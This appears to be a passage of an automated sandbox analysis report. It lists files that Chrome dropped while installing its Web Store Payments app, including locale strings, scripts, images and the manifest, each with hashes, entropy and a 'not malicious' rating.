Preview:	{"craw_app_unavailable":{"message":"\u041f\u0440\u043e\u0433\u0440\u0430\u043c\u0430 \u0442\u0438\u043c\u0447\u0430\u0441\u043e\u0432\u043e \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430."},"craw_connect_to_network":{"message":"\u041f\u0456\u0434\u2019\u0454\u0434\u043d\u0430\u0439\u0442\u0435\u0441\u044f \u0434\u043e \u043c\u0435\u0440\u0435\u0436\u0456."},"app_name":{"message":"\u041f\u043b\u0430\u0442\u0435\u0436\u0456 \u0412\u0435\u0431-\u043c\u0430\u0433\u0430\u0437\u0438\u043d\u0443 Chrome"},"app_description":{"message":"\u041f\u043b\u0430\u0442\u0435\u0436\u0456 \u0412\u0435\u0431-\u043c\u0430\u0433\u0430\u0437\u0438\u043d\u0443 Chrome"},"iap_unavailable":{"message":"\u041f\u043b\u0430\u0442\u0435\u0436\u0456 \u0447\u0435\u0440\u0435\u0437 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u0443 \u0437\u0430\u0440\u0430\u0437 \u043d\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0456."},"please_sign_in":{"message":"\u0423\u0432\u0456\u0439\u0434\u0456\u0442\u044c \u0443

C:\Users\user\AppData\Local\Temp\scoped_dir2264_1188307806\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	671
Entropy (8bit):	4.846531831162704
Encrypted:	false
SSDEEP:
MD5:	7D52E9357AB847B4CC8DBC8CC4DA93F5
SHA1:	AF877F3992D8056C8F08462BD575595BF79FE5B0
SHA-256:	313F71F3FFDCEFC76FC746FF2029FBF8FBE38BD83DCF952FC3DDCD8AA96D5CFB
SHA-512:	E66E7FACDF35A0F72AC61DEAAEC43A2DAC976CADEA146EBE3E90E739178F173E32ADCF909F05F2657F2AD66E2ECB6015F6733CEA4B9E42337246469F89D3A12F
Malicious:	false
Reputation:	unknown
Preview:	{"craw_app_unavailable":{"message":"\u1ee8ng d\u1ee5ng hi\u1ec7n kh\u00f4ng kh\u1ea3 d\u1ee5ng."},"craw_connect_to_network":{"message":"Vui l\u00f2ng k\u1ebft n\u1ed1i v\u1edbi m\u1ea1ng."},"app_name":{"message":"Thanh to\u00e1n tr\u00ean c\u1eeda h\u00e0ng Chrome tr\u1ef1c tuy\u1ebfn"},"app_description":{"message":"Thanh to\u00e1n tr\u00ean c\u1eeda h\u00e0ng Chrome tr\u1ef1c tuy\u1ebfn"},"iap_unavailable":{"message":"Thanh to\u00e1n trong \u1ee9ng d\u1ee5ng hi\u1ec7n kh\u00f4ng kh\u1ea3 d\u1ee5ng."},"please_sign_in":{"message":"Vui l\u00f2ng \u0111\u0103ng nh\u1eadp v\u00e0o Chrome."},"jwt_retrieve_failed":{"message":"The transaction could not be completed."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir2264_1188307806\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	602
Entropy (8bit):	4.917339139635893
Encrypted:	false
SSDEEP:
MD5:	393680A09DEE0CB9046A62BDC0750B74
SHA1:	54E7F8215061A4AB241B87AE4E81C8F860EB2C2B
SHA-256:	D5FB52C2897FD5C294784DB63C933AC77C609D10AC91431CCB295D87452CBEE6
SHA-512:	14C214CAEFC69B085E918F492C75E2A48BC6A9C2D347D29403B26E69A474825E302A3E106710E5C04E047BD57EE684A67846A5DE956705FFBF41BB0614B8CEB2
Malicious:	false
Reputation:	unknown
Preview:	{"craw_app_unavailable":{"message":"\u5e94\u7528\u76ee\u524d\u65e0\u6cd5\u4f7f\u7528\u3002"},"craw_connect_to_network":{"message":"\u8bf7\u8fde\u63a5\u5230\u7f51\u7edc\u3002"},"app_name":{"message":"Chrome \u7f51\u4e0a\u5e94\u7528\u5e97\u4ed8\u6b3e\u7cfb\u7edf"},"app_description":{"message":"Chrome \u7f51\u4e0a\u5e94\u7528\u5e97\u4ed8\u6b3e\u7cfb\u7edf"},"iap_unavailable":{"message":"\u76ee\u524d\u65e0\u6cd5\u4f7f\u7528\u5e94\u7528\u5185\u4ed8\u6b3e\u3002"},"please_sign_in":{"message":"\u8bf7\u767b\u5f55 Chrome\u3002"},"jwt_retrieve_failed":{"message":"The transaction could not be completed."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir2264_1188307806\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	680
Entropy (8bit):	4.916281462386558
Encrypted:	false
SSDEEP:
MD5:	CD30D132A7213FC1B7E03C6D0A49CCF7
SHA1:	1141DED39023B821FE9BB4682E0D1EB5469DAF76
SHA-256:	5717F13D10E63255947F750C79CBB6BD04A6D97A08261E8D5764AF5EB0561A28
SHA-512:	0DCD3CEB93AB58655551B00D7AD4FE4A6F1F6B24EDD31244FF9B57AE529BF1A9E0220A6258C64790F9CC9F026AB9DA3AEE1575809CC94DC4F8754194C958FD19
Malicious:	false
Reputation:	unknown
Preview:	{"craw_app_unavailable":{"message":"\u76ee\u524d\u7121\u6cd5\u4f7f\u7528\u9019\u500b\u61c9\u7528\u7a0b\u5f0f\u3002"},"craw_connect_to_network":{"message":"\u8acb\u9023\u4e0a\u7db2\u8def\u3002"},"app_name":{"message":"Chrome \u7dda\u4e0a\u61c9\u7528\u7a0b\u5f0f\u5546\u5e97\u4ed8\u6b3e\u7cfb\u7d71"},"app_description":{"message":"Chrome \u7dda\u4e0a\u61c9\u7528\u7a0b\u5f0f\u5546\u5e97\u4ed8\u6b3e\u7cfb\u7d71"},"iap_unavailable":{"message":"\u76ee\u524d\u7121\u6cd5\u4f7f\u7528\u61c9\u7528\u7a0b\u5f0f\u5167\u4ed8\u6b3e\u529f\u80fd\u3002"},"please_sign_in":{"message":"\u8acb\u767b\u5165 Chrome\u3002"},"jwt_retrieve_failed":{"message":"The transaction could not be completed."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir2264_1188307806\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	7780
Entropy (8bit):	5.791315351651491
Encrypted:	false
SSDEEP:
MD5:	0834821960CB5C6E9D477AEF649CB2E4
SHA1:	7D25F027D7CEE9E94E9CBDEE1F9220C8D20A1588
SHA-256:	52A24FA2FB3BCB18D9D8571AE385C4A830FF98CE4C18384D40A84EA7F6BA7F69
SHA-512:	9AEAFC3ECE295678242D81D71804E370900A6D4C6A618C5A81CACD869B84346FEAC92189E01718A7BB5C8226E9BE88B063D2ECE7CB0C84F17BB1AF3C5B1A3FC4
Malicious:	false
Reputation:	unknown
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiZHUtdGRPdUNWcmxDY254Q0poRkg2NXpLU05vb1RiUE56bDNHbzdRMGJ3SSJ9LHsicGF0aCI6Il9sb2NhbGVzL2NhL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJ6ZGtWaF9XdkxJWlhkck5xWHBvSHNRMGh1ZGtSM2d1QlMzb2VsTEZLNklVIn0seyJwYXRoIjoiX2xvY2FsZXMvY3MvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6Ik9nUkNIZlVoam9xOU93NHFfaEhvTTQxNzNMelJyYkVpUVdsRXNRSzhscFkifSx7InBhdGgiOiJfbG9jYWxlcy9kYS9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiN2JVWW1LYkhQUUNRMXBGcmUzTHJySEhwWk9xN1c2Zk5hT0laWmdKUERTTSJ9LHsicGF0aCI6Il9sb2NhbGVzL2RlL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJOV3FkU3Rfc1NFMm9KT2VuSUZtM0pMRm9iOGtBZ3ZTa3RtZGpCRGJWazdBIn0seyJwYXRoIjoiX2xvY2FsZXMvZWwvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6ImgyaEZ0YUJoLXJQUEtoUm00QkFWM0VEZmhFbnh5MElGOVhYT3Z0aHhlNjAifSx7InBhdGgiOiJfbG9jYWxlcy9lbi9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoid0pSZDFmM3NxMERFVTJHLXd

C:\Users\user\AppData\Local\Temp\scoped_dir2264_1188307806\CRX_INSTALL\craw_background.js

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	544643
Entropy (8bit):	5.385396177420207
Encrypted:	false
SSDEEP:
MD5:	6EEBED29E6A6301E92A9B8B347807F5F
SHA1:	65DFB69B650560551110B33DCBA50B25E5B876DE
SHA-256:	04CD9494B0ED83924DAD12202630B20D053D9E2819C8E826A386C814CC0A1697
SHA-512:	FEDE6DB31F2AD242E7BC7B52A8859BA7F466A0B920A8DADCB32DCFB5B2A2742E98B767FF22E0C5BC5C11FEC021240AA9E458486C9039EB4EBE5CF6AF7BE97BF2
Malicious:	false
Reputation:	unknown
Preview:	/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var d,e=e\|\|{};e.scope={};e.arrayIteratorImpl=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};e.arrayIterator=function(a){return{next:e.arrayIteratorImpl(a)}};e.ASSUME_ES5=!1;e.ASSUME_NO_NATIVE_MAP=!1;e.ASSUME_NO_NATIVE_SET=!1;e.SIMPLE_FROUND_POLYFILL=!1;e.ISOLATE_POLYFILLS=!1;e.FORCE_POLYFILL_PROMISE=!1;e.FORCE_POLYFILL_PROMISE_WHEN_NO_UNHANDLED_REJECTION=!1;.e.defineProperty=e.ASSUME_ES5\|\|"function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};e.getGlobal=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");};e.global=e.getGlobal(this);.e.IS_SYMBOL_NATIVE="func

C:\Users\user\AppData\Local\Temp\scoped_dir2264_1188307806\CRX_INSTALL\craw_window.js

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	261316
Entropy (8bit):	5.444466092380538
Encrypted:	false
SSDEEP:
MD5:	1709B6F00A136241185161AA3DF46A06
SHA1:	33DA7D262FFED1A5C2D85B7390E9DBC830CBE494
SHA-256:	5721A4B3F8E09C869A629EFFD350B51C9D46F0AC136717D4DB6265C0EE6F9AC8
SHA-512:	26835B4C050F53AD2DDB84469DF9A84BBB2786A655AB52DFC20B54BEDCB81D1ECD789198D5B7D8B940242E5CEAC818A177444D402397AE82C203438C4B1D19CB
Malicious:	false
Reputation:	unknown
Preview:	/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var b,k=k\|\|{};k.scope={};k.createTemplateTagFirstArg=function(a){return a.raw=a};k.createTemplateTagFirstArgWithRaw=function(a,c){a.raw=c;return a};k.arrayIteratorImpl=function(a){var c=0;return function(){return c<a.length?{done:!1,value:a[c++]}:{done:!0}}};k.arrayIterator=function(a){return{next:k.arrayIteratorImpl(a)}};k.makeIterator=function(a){var c="undefined"!=typeof Symbol&&Symbol.iterator&&a[Symbol.iterator];return c?c.call(a):k.arrayIterator(a)};.k.arrayFromIterator=function(a){for(var c,d=[];!(c=a.next()).done;)d.push(c.value);return d};k.arrayFromIterable=function(a){return a instanceof Array?a:k.arrayFromIterator(k.makeIterator(a))};k.ASSUME_ES5=!1;k.ASSUME_NO_NATIVE_MAP=!1;k.ASSUME_NO_NATIVE_SET=!1;k.SIMPLE_FROUND_POLYFILL=!1;k.ISOLATE_POLYFILLS=!1;k.FORCE_POLYFILL_PROMISE=!1;k.FORCE_POLYFILL_PROMISE_WHEN_NO_UNHANDLED_REJECTION=!1;.k.objectCreate=k.ASSUME_ES5\|\|"function"==typeof Object.cre

C:\Users\user\AppData\Local\Temp\scoped_dir2264_1188307806\CRX_INSTALL\css\craw_window.css

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1741
Entropy (8bit):	4.912380256743454
Encrypted:	false
SSDEEP:
MD5:	67BF9AABE17541852F9DDFF8245096CD
SHA1:	A4AC74DD258E8E0689034FAA1B15A5C7C56DC3BB
SHA-256:	10DFBD2D98950B79EE12F6B8E3885AABE31543048DE56AD4FC0A5E34D0D9D4EC
SHA-512:	298FA132C6F122798FDB9BC6DE8024915147ADC20355B56A92F0ED9ACCE4549BE6E7F42212E07DCA166E31624D4E66E299565845D4BA1C51CA935050641B61FE
Malicious:	false
Reputation:	unknown
Preview:	html, body {. margin: 0;. overflow: hidden;.}..webview {. width: 100%;. height: 100%;. min-height: 100%;. position: absolute;.}...craw_overlay {. position: absolute;.. left: 0;. top: 0;. right: 0;. bottom: 0;.. background-color: white;.. -webkit-transition: opacity 250ms linear;.. display: -webkit-flex;. -webkit-flex-direction: column;. -webkit-flex: 1 0%;. -webkit-align-items: center;. -webkit-justify-content: center;.. -webkit-app-region: drag;.}...craw_overlay img {. margin: 16px;.}..#loading_overlay {. opacity: 1;.}..#offline_overlay {. opacity: 0;. display: none;.}..#offline_overlay > img {. -webkit-filter: saturate(0%);.}..#offline_overlay > span {. font-family: 'Open Sans', 'Deja Vu Sans', Arial, sans-serif;. font-size: 15px;. line-height: 21px;. color: #8d8d8d;. display: block;.}..#loading_splash {. width: 128px;. height: 128px;.}..#drag_overlay {. position: absolute;. left: 0;. top: 0;. right: 0;. bottom: 0;. pointer-events: none;. -webkit

C:\Users\user\AppData\Local\Temp\scoped_dir2264_1188307806\CRX_INSTALL\html\craw_window.html

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	810
Entropy (8bit):	4.723481385335562
Encrypted:	false
SSDEEP:
MD5:	34A839BC40DEBC746BBD181D9EF9310C
SHA1:	8B4EAA74D31EED5B0BABA3CA5460201F6B10DA46
SHA-256:	BB8742615E4CD996AE5D0200E443AE6A6F0B473255F03AFFDB8FB4660DE4554D
SHA-512:	EE81E5509CBC2CB2B6C834224688C1E1B1AA9AA3866C52F8EAED040D5C390653C52D8D681E2E2CF62906643962ABAC823D5B622385B983B21E0DCCAFDF281EFF
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html>. <head>. <link href="/css/craw_window.css" rel="stylesheet">. <script src="/craw_window.js"></script>. </head>. <body>. <webview></webview>. <div class="craw_overlay" id="loading_overlay">. <img src="/images/icon_128.png" />. <img src="/images/flapper.gif" />. </div>. <div class="craw_overlay" id="offline_overlay">. <img src="/images/icon_128.png" />. <span id="app_unavailable"></span>. <span id="connect_to_network"></span>. </div>. <div id="drag_overlay"></div>. <div id="top_bar">. <div id='close_button'>. <img src='/images/topbar_floating_button_close.png'/>. </div>. <div id='maximize_button'>. <img src='/images/topbar_floating_button_maximize.png'/>. </div>. </div>. </body>.</html>.

C:\Users\user\AppData\Local\Temp\scoped_dir2264_1188307806\CRX_INSTALL\images\flapper.gif

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 30 x 30
Category:	dropped
Size (bytes):	70364
Entropy (8bit):	7.119902236613185
Encrypted:	false
SSDEEP:
MD5:	398ABB308EEBC355DA70BCE907B22E29
SHA1:	CFFB77B8A1724B8F81D98C6D6AD0071D10162252
SHA-256:	2B73533F47A99FFEA9CC405FFAFA9C4C53623F62487AEBFBA415945120B22040
SHA-512:	FC7A56FC8A61A582161874B54ADBAD30A84840190008EDB0B6FBF84F91393CA58E988E3FE446F11A0C3C691C18249B93AEC2904B3D0C4F0857D79034F662385A
Malicious:	false
Reputation:	unknown
Preview:	GIF89a.......................................................!.......!..NETSCAPE2.0.....,.............9.:.h0.bT(6.!l.&..("gk..JL1.[....o. .(:..B(.6."...Z.CUyh0.....j.C.z8..S....2.T'...Q..4 g\|]$ueW.NyQ.IoL!AoF#9h>7.0t..%..,.@.m4..7..!.......,.............9.:.h0.bT(6.!l.&..("gk..JL1.[....o. .(:..B(.6."...Z.CUyh0.....j.C.z8..S....2.T'...Q..4 g\|]$ueW.NyQ.IoL!AoF#9h>7.0t..%..,.@.m4..7..!.......,............................................................................................................'..w=.....\.)._6.k..OF...n.#\~"....2b3..I.)..eu.Q.`.e......gr.?>.s.I0.....@.~.Tr.[8.+.,.;..EE....S.*f.....,.....B8/D..;.9.q......ukC...r.I.....j......BGY...o2J....+O4....X4.....cH%7....I.....0H!.!.....!.,.............................................................................................................................................................................................................p8.a$....hh@.4....X,A.0L..(....JX.j...,..........z.X.Q....jB.d....B..

C:\Users\user\AppData\Local\Temp\scoped_dir2264_1188307806\CRX_INSTALL\images\icon_128.png

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4364
Entropy (8bit):	7.915848007375225
Encrypted:	false
SSDEEP:
MD5:	4DBC9F9E6F5A08D299BAC9E54DF07694
SHA1:	BB38F5DE34B1E0BE1109220BA55271087A4D9EA5
SHA-256:	91C2718DD23B4356D71F88F6146868369033291086DF327534546DFA459BEB0E
SHA-512:	A5F2B1F47502836130D8083F757B7773C1E1CB36B76AD298CC29AB2B428C8002D2F15BD839838FC326DAC3681C2F48AB25A3E7631D33726C4B25E8EC14170912
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............>a.....IDATx..yp.....gF#.:,[H.l.l..8...`/.k....,!a7Km...E...Te..T.....J...p....%.(....+...3....eY.e...L.o...5....h4...\....{?....~.u.`0.....`0.....`0.....`.Y......[(.......).4....ai..w38.+....Bf././..]...{......8...3.....3W~OJ.. /...u6V.C..U.0.+._=.c..9.X.?....L....S@.L...m.0..>.C...L\|TF.p5..f4M.,.V....8..a.<...RP..@)E,..E"...h.....!...-....,I..T..........m..._[[{w{{....{.^......M.x..h4.h.....\.R.E....j).7.....h4.A.E....,. ...iii.Vj?2...=/.B.FK9P..@)=Rj..D".Y...2.B..x.}0...&J...2.......f.O..e.H.....!.J)'I..R....B............QJ;K..L...L.l".L~mhh.R.@).FFF~.L&...~.B.......u.........}.....~.....f..yUU...........^M...6......].,w.e..~.!$.C.R.....E(%e9.,....k..@...W8.........@...........O..@%.~..@.S..P.....`Tp...."...?ME..c......s...`..S1...7.b..aNE..k...3.yP.}.Ch.}......B..........IPE..C.<....T....k......Z..o_......g........P..A=y.J.)h..@.q.-.].AU.4...F.M.....y%B]+ .\.~..9......:..=...r.....E].o...F..P........i...\|....

C:\Users\user\AppData\Local\Temp\scoped_dir2264_1188307806\CRX_INSTALL\images\icon_16.png

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	558
Entropy (8bit):	7.505638146035601
Encrypted:	false
SSDEEP:
MD5:	FB9C46EA81AD3E456D90D58697C12C06
SHA1:	5FC450F7D73CCFAC8F0D818CB3392BA4D91B69DE
SHA-256:	016CA659BA080E194FBFC0929602B16506ED60AA6019FAA51410C4FD93B583E8
SHA-512:	ADD810EE9EB7CAEC505B5FD90A1F184CE39D8F8C689DCC240F188FE353B9575489492E07D572A3B1C11A1555CE66AFCA5134903E4C1AA3D54BC7C5ED3E65B50C
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8...Mk.Q...;... .....F..QW.....F....J.?.w..7~......'.Q..B]... .QS...M&_w..b&.\|`......p...f.?.D$.y^..........y...\..Z..t6..oRj.@&.u..G.qN).t.-V.>(.N.Ep]wFk.60o.]0.`Y..cT..Y.Tb.`DF.d..s.Z..E..9.4._C.._...%..*.^....4.l...Y..X..R..../...Wj+w0[.].._B.k.${.\.>.%...........lz .w.ALxo.2;..a...".p..S..&..uXS...<..6..[..zD.._.N+w.WbM7ye6X<...'(,=.r}........$f..5..P....k..."..8.s.<zgSm@.....).Y.....:e..\|.....F...I..A$.....T?.....m....8.........N...z.....V..vd.h'....C.?.....H.;]..C.M.....9.b......IEND.B`.

C:\Users\user\AppData\Local\Temp\scoped_dir2264_1188307806\CRX_INSTALL\images\topbar_floating_button.png

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	160
Entropy (8bit):	5.475799237015411
Encrypted:	false
SSDEEP:
MD5:	8803665A6328D23CC1014A7B0E9BE295
SHA1:	9DA6EE729D5A6E9F30658B8EC954710F107A641F
SHA-256:	D5F9234DC36E7FFA85F35B2359A4F82276F8395EFA76E4553507EA990B27FC6C
SHA-512:	ECD9E71B8BA1ED8BD4CA5A0936CB66A83611C4ABCBDA76C250F4CDF4AD80320212E8F5EEB79A38910718F8346ECC1AD580A3FA835EC2B22BE497F36899FB5930
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR... ... .....szz.....tEXtSoftware.Adobe ImageReadyq.e<...BIDATx...Q..0......2...(p...~Z.}'.>I%O...V!s..................../...`.<..`.....IEND.B`.

C:\Users\user\AppData\Local\Temp\scoped_dir2264_1188307806\CRX_INSTALL\images\topbar_floating_button_close.png

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	252
Entropy (8bit):	6.512071394066515
Encrypted:	false
SSDEEP:
MD5:	0599DFD9107C7647F27E69331B0A7D75
SHA1:	3198C0A5F34DB67F91A0035DBC297354CBC95525
SHA-256:	131817CD9311C03DF22D769DD2AD7FA2E6E9558863A89F7E5E1657424031A937
SHA-512:	0076ACB9D6A886BD987876E49495038F9388B292A9EFE5C9093CCA64CA3692E3A5D24E35172C7697F6AAE34B86CA217EE59C003423E46D9499BD27EC7D77A649
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR... ... .....szz.....tEXtSoftware.Adobe ImageReadyq.e<....IDATx...... ..Pp.X....H...b@...\|.^LC_.E.BP+......X.P..........q..~..p/. ..s.....%D^...$......@.!...<...).?.4{.k.G3...4..[cH..0..l.8.!r..m.R..{..........`.f...#.x.....IEND.B`.

C:\Users\user\AppData\Local\Temp\scoped_dir2264_1188307806\CRX_INSTALL\images\topbar_floating_button_hover.png

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	160
Entropy (8bit):	5.423186859407619
Encrypted:	false
SSDEEP:
MD5:	7CB6B9DC1A30F63B8BD976924B75AD96
SHA1:	0C40B0C496D2F2B5F2021C117EC8610AC03AB469
SHA-256:	721B7AAA9A42A54A349881615A12E3A26983ACA48E173FD2F66E66AA0D725735
SHA-512:	4764937364E355956B242B84010AC56102536D2AACBE4227F0E88E4DE7AB468571957EA6C33012539156E5349AE4F777115615AE3361F60ADDF9CD227424F76A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR... ... .....szz.....tEXtSoftware.Adobe ImageReadyq.e<...BIDATx...A..0...+B.z.s...*.....$.<u..[...................h.......C.CA).....IEND.B`.

C:\Users\user\AppData\Local\Temp\scoped_dir2264_1188307806\CRX_INSTALL\images\topbar_floating_button_maximize.png

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	166
Entropy (8bit):	5.8155898293424775
Encrypted:	false
SSDEEP:
MD5:	232CE72808B60CBE0F4FA788A76523DF
SHA1:	721A9C98C835D2CD734153BBE07833C6637ECD68
SHA-256:	AFA4EA944CBDEC8543242E627EF46D5BFD3766DCAC664E7E50CDEEF2B352740C
SHA-512:	4048EEA5A78DD569521C488C4CE4F7B77AC0454C92EE9107A81A1B3AF91A4EE036039AC1A0A6B8DD26B12E7F1595DB80B7FAA7B6A25D9032BF385528A81A8654
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR... ... .....szz.....tEXtSoftware.Adobe ImageReadyq.e<...HIDATx......0.CQS.......~..."..........m.v+Sq....<!...M8m...'...@$..0....E........IEND.B`.

C:\Users\user\AppData\Local\Temp\scoped_dir2264_1188307806\CRX_INSTALL\images\topbar_floating_button_pressed.png

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	160
Entropy (8bit):	5.46068685940762
Encrypted:	false
SSDEEP:
MD5:	E0862317407F2D54C85E12945799413B
SHA1:	FA557F8F761A04C41C9A4BA81994E43C6C275DBB
SHA-256:	5C10CE0589EB115600F77381130B70AE0B7B3752614D86D4C89E857658AA222B
SHA-512:	07CB69327961FD0019BEF8EF7590B5524905AC373A815F73F6D9E0B26840929F919A96CAA977D4B5656704DACD0F352D568FB3997F80EE6BB94C95B58839DBFE
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR... ... .....szz.....tEXtSoftware.Adobe ImageReadyq.e<...BIDATx...A..0...+B..@wu...*.....$.<u..[...................h.........M..x(....IEND.B`.

C:\Users\user\AppData\Local\Temp\scoped_dir2264_1188307806\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1322
Entropy (8bit):	5.449026004350873
Encrypted:	false
SSDEEP:
MD5:	01334FB9D092AF2AA46C4185E405C627
SHA1:	47AD3C0E82362FFE5B881DF8D71D6F79AB7F5796
SHA-256:	F52714812D68C577A445169D11E84DF6751C2D6886BC429643072BB5D61C6C27
SHA-512:	888D96ADB7A847ABE472145258C8C46950EB2FA3BA7D596C2E90A17C8FB06FD0155C56CC8ABA5D076D89368417464BCB2D236F9E40E53241950A01F9F8ED548F
Malicious:	false
Reputation:	unknown
Preview:	{.. "app": {.. "background": {.. "scripts": [ "craw_background.js" ].. }.. },.. "default_locale": "en",.. "description": "__MSG_APP_DESCRIPTION__",.. "display_in_launcher": false,.. "display_in_new_tab_page": false,.. "icons": {.. "128": "images/icon_128.png",.. "16": "images/icon_16.png".. },.. "key": "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCrKfMnLqViEyokd1wk57FxJtW2XXpGXzIHBzv9vQI/01UsuP0IV5/lj0wx7zJ/xcibUgDeIxobvv9XD+zO1MdjMWuqJFcKuSS4Suqkje6u+pMrTSGOSHq1bmBVh0kpToN8YoJs/P/yrRd7FEtAXTaFTGxQL4C385MeXSjaQfiRiQIDAQAB",.. "manifest_version": 2,.. "minimum_chrome_version": "29",.. "name": "__MSG_APP_NAME__",.. "oauth2": {.. "auto_approve": true,.. "client_id": "203784468217.apps.googleusercontent.com",.. "scopes": [ "https://www.googleapis.com/auth/sierra", "https://www.googleapis.com/auth/sierrasandbox", "https://www.googleapis.com/auth/chromewebstore", "https://www.googleapis.com/auth/chromewebstore.readonly" ].. },.

C:\Users\user\AppData\Local\Temp\scoped_dir2264_1188307806\ad03238b-209d-453c-99e7-138ad352fb87.tmp

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	248531
Entropy (8bit):	7.963657412635355
Encrypted:	false
SSDEEP:
MD5:	541F52E24FE1EF9F8E12377A6CCAE0C0
SHA1:	189898BB2DCAE7D5A6057BC2D98B8B450AFAEBB6
SHA-256:	81E3A4D43A73699E1B7781723F56B8717175C536685C5450122B30789464AD82
SHA-512:	D779D78A15C5EFCA51EBD6B96A7CCB6D718741BDF7D9A37F53B2EB4B98AA1A78BC4CFA57D6E763AAB97276C8F9088940AC0476690D4D46023FF4BF52F3326C88
Malicious:	false
Reputation:	unknown
Preview:	Cr24..............0.."0....H.............0...........\7c.<........Fto.8.2'5..qk...%....2...C.F.9.#..e.xQ.......[...L\|....3>/....u.:T.7...(.yM...?V.<?........1.a...O?d.....A.H..'.MpB..T.m..Vn 